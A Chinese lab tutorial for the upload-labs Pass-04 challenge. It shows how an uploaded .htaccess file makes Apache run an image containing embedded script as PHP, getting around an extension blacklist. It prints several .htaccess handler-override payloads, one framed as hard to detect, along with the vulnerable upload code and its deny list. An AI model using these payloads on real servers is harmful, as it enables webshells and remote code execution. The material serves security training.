文章目录
一、实验目的:
1、了解什么是
.htaccess文件
。
2、通过upload-labs闯关游戏(Pass-04)
,掌握.htaccess文件解析漏洞技术。
二、工具:
cmd命令行
火狐/谷歌浏览器
三、实验环境:
靶 机: windows10虚拟机:
192.168.100.150
upload-labs-master
闯关游戏
phpstudy2018
搭建网站
php5.6
以下不带nts
的版本
服务器没有禁止.htaccess文件
的上传,且服务商允许用户使用自定义.htaccess文件
攻击机: 物理机
四、漏洞利用前提:
web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的
.htaccess文件
。
五、原理:
.htaccess文件(或者"分布式配置文件")
,全称是Hypertext Access(超文本入口)
。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
六、利用方式:
上传覆盖
.htaccess文件
,重写解析规则
,将上传的带有脚本马的图片以脚本方式解析。
七、.htaccess文件
内容:
.htaccess文件
解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。
第一种、虽然好用,但是会误伤其他正常文件,容易被发现:
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现:
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
第三种、同1没太大区别:
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
八、.htaccess文件
制作:
创建好文件后,把上面的.htaccess文件
内容通过文本文档的方式复制进去即可,内容需要根据实际情况进行适当修改。
1. 直接创建文件:
2. 通过cmd命令行
创建:
有的电脑无法通过桌面直接创建,就需要通过命令行进行创建:
命令:
echo hello world > .htaccess
九、实验过程:
upload-labs闯关游戏(Pass-04):
页面源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1、创建一个.htaccess文件
,.htaccess文件
文件内容中的规则这里使用上面的第二种方法,内容如下:
注:上传这个文件的原因是为了把1.png
的图片马
解析为php
的脚本文件。
这里在写.htaccess文件
内容时,需要去掉每行结尾的多余的空格:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
AddHandler php5-script .png
</FilesMatch>
2、选择upload-labs闯关游戏(Pass-04)
先上传上面写好的.htaccess文件
:
3、上传一个图片马1.png
,并复制图片马的链接:
4、访问图片马的链接后,发现已经把1.png
解析为php
脚本文件: